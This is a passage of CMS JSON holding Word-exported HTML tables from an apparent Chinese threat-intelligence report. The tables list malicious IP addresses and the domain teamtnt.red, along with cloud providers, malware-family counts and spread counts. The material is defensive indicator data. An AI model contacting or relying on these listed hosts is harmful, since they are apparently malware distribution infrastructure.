accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">2</span></p>\n </td>\n <td width=\"113\" nowrap=\"\" style=\"width:3.0cm;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">1</span></p>\n </td>\n <td width=\"100\" style=\"width:74.85pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">455</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:8;height:9.6pt\">\n <td width=\"159\" nowrap=\"\" style=\"width:119.25pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><strong><span lang=\"EN-US\">104.192.82.138</span></strong><strong><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></strong></p>\n </td>\n <td width=\"85\" nowrap=\"\" style=\"width:63.75pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">145</span></p>\n </td>\n <td width=\"96\" nowrap=\"\" style=\"width:71.9pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">30</span></p>\n </td>\n <td width=\"113\" nowrap=\"\" style=\"width:3.0cm;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">4</span></p>\n </td>\n <td width=\"100\" style=\"width:74.85pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">8,533</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:9;mso-yfti-lastrow:yes;height:9.6pt\">\n <td width=\"159\" nowrap=\"\" style=\"width:119.25pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><span class=\"SpellE\"><strong><span lang=\"EN-US\">teamtnt.red</span></strong></span><strong><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;font-family:宋体;mso-bidi-font-family:\n 宋体\"><o:p></o:p></span></strong></p>\n </td>\n <td width=\"85\" nowrap=\"\" style=\"width:63.75pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">104</span></p>\n </td>\n <td width=\"96\" nowrap=\"\" style=\"width:71.9pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">3</span></p>\n </td>\n <td width=\"113\" nowrap=\"\" style=\"width:3.0cm;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">3</span></p>\n </td>\n <td width=\"100\" style=\"width:74.85pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">694</span></p>\n </td>\n </tr>\n</tbody></table>\n\n</div>"}],["image",{"src":"__GHOST_URL__/content/images/2021/12/image-5.png"}],["html",{"html":"<div align=\"center\">\n\n<table class=\"MsoTable15Grid4Accent3\" border=\"1\" cellspacing=\"0\" cellpadding=\"0\" width=\"0\" style=\"width:417.95pt;border-collapse:collapse;border:none;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n mso-yfti-tbllook:1184;mso-padding-alt:0cm 5.4pt 0cm 5.4pt\">\n <tbody><tr style=\"mso-yfti-irow:-1;mso-yfti-firstrow:yes;mso-yfti-lastfirstrow:yes;\n height:9.6pt\">\n <td width=\"141\" nowrap=\"\" valign=\"top\" style=\"width:106.1pt;border:solid #A5A5A5 1.0pt;\n mso-border-themecolor:accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;\n mso-border-top-themecolor:accent3;mso-border-left-alt:solid #A5A5A5 .5pt;\n mso-border-left-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;\n mso-border-bottom-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:\n accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:5\"><strong><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;\n color:white;mso-themecolor:background1;mso-font-kerning:0pt\">IP</span></strong><strong><span style=\"mso-bidi-font-size:12.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;\n mso-font-kerning:0pt\">地址</span></strong><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;color:white;mso-themecolor:background1;mso-font-kerning:0pt;\n mso-bidi-font-weight:bold\"><o:p></o:p></span></p>\n </td>\n <td width=\"180\" nowrap=\"\" valign=\"top\" style=\"width:134.65pt;border-top:solid #A5A5A5 1.0pt;\n mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;\n mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:\n solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:\n solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;\n mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><span class=\"GramE\"><strong><span style=\"mso-bidi-font-size:12.0pt;\n font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:\n "Times New Roman";color:white;mso-themecolor:background1;mso-font-kerning:\n 0pt\">云服务</span></strong></span><strong><span style=\"mso-bidi-font-size:12.0pt;\n font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:\n "Times New Roman";color:white;mso-themecolor:background1;mso-font-kerning:\n 0pt\">商</span></strong><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;\n color:white;mso-themecolor:background1;mso-font-kerning:0pt;mso-bidi-font-weight:\n bold\"><o:p></o:p></span></p>\n </td>\n <td width=\"123\" nowrap=\"\" valign=\"top\" style=\"width:92.15pt;border-top:solid #A5A5A5 1.0pt;\n mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;\n mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:\n solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:\n solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;\n mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><strong><span style=\"mso-bidi-font-size:12.0pt;font-family:宋体;\n mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";\n color:white;mso-themecolor:background1;mso-font-kerning:0pt\">恶意软件家族</span></strong><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;\n mso-font-kerning:0pt;mso-bidi-font-weight:bold\"><o:p></o:p></span></p>\n </td>\n <td width=\"113\" nowrap=\"\" valign=\"top\" style=\"width:3.0cm;border:solid #A5A5A5 1.0pt;\n mso-border-themecolor:accent3;border-left:none;mso-border-top-alt:solid #A5A5A5 .5pt;\n mso-border-top-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;\n mso-border-bottom-themecolor:accent3;mso-border-right-alt:solid #A5A5A5 .5pt;\n mso-border-right-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:\n accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><strong><span style=\"mso-bidi-font-size:12.0pt;font-family:宋体;\n mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";\n color:white;mso-themecolor:background1;mso-font-kerning:0pt\">传播次数</span></strong><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;\n mso-font-kerning:0pt;mso-bidi-font-weight:bold\"><o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:0;height:9.6pt\">\n <td width=\"141\" nowrap=\"\" style=\"width:106.1pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:68\"><strong><span lang=\"EN-US\">52.131.241.237<o:p></o:p></span></strong></p>\n </div>\n </td>\n <td width=\"180\" nowrap=\"\" style=\"width:134.65pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span style=\"font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:\n "Times New Roman"\">微软</span><span lang=\"EN-US\">Azure</span></p>\n </div>\n </td>\n <td width=\"123\" nowrap=\"\" style=\"width:92.15pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">52</span></p>\n </td>\n <td width=\"113\" nowrap=\"\" style=\"width:3.0cm;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">6,968</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:1;height:9.6pt\">\n <td width=\"141\" nowrap=\"\" style=\"width:106.1pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><strong><span lang=\"EN-US\">106.12.22.126</span></strong><strong><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></strong></p>\n </div>\n </td>\n <td width=\"180\" nowrap=\"\" style=\"width:134.65pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span style=\"font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:\n "Times New Roman"\">百度智能云</span></p>\n </div>\n </td>\n <td width=\"123\" nowrap=\"\" style=\"width:92.15pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">31</span></p>\n </td>\n <td width=\"113\" nowrap=\"\" style=\"width:3.0cm;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">6,435</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:2;height:9.6pt\">\n <td width=\"141\" nowrap=\"\" style=\"width:106.1pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><strong><span lang=\"EN-US\">20.113.33.78</span></strong><strong><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></strong></p>\n </div>\n </td>\n <td width=\"180\" nowrap=\"\" style=\"width:134.65pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span style=\"font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:\n "Times New Roman"\">微软</span><span lang=\"EN-US\">Azure</span></p>\n </div>\n </td>\n <td width=\"123\" nowrap=\"\" style=\"width:92.15pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">38</span></p>\n </td>\n <td width=\"113\" nowrap=\"\" style=\"width:3.0cm;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">5,455</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:3;height:9.6pt\">\n <td width=\"141\" nowrap=\"\" style=\"width:106.1pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><strong><span lang=\"EN-US\">114.132.223.190</span></strong><strong><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></strong></p>\n </div>\n </td>\n <td width=\"180\" nowrap=\"\" style=\"width:134.65pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span class=\"GramE\"><span style=\"font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:\n "Times New Roman"\">腾讯云</span></span></p>\n </div>\n </td>\n <td width=\"123\" nowrap=\"\" style=\"width:92.15pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span 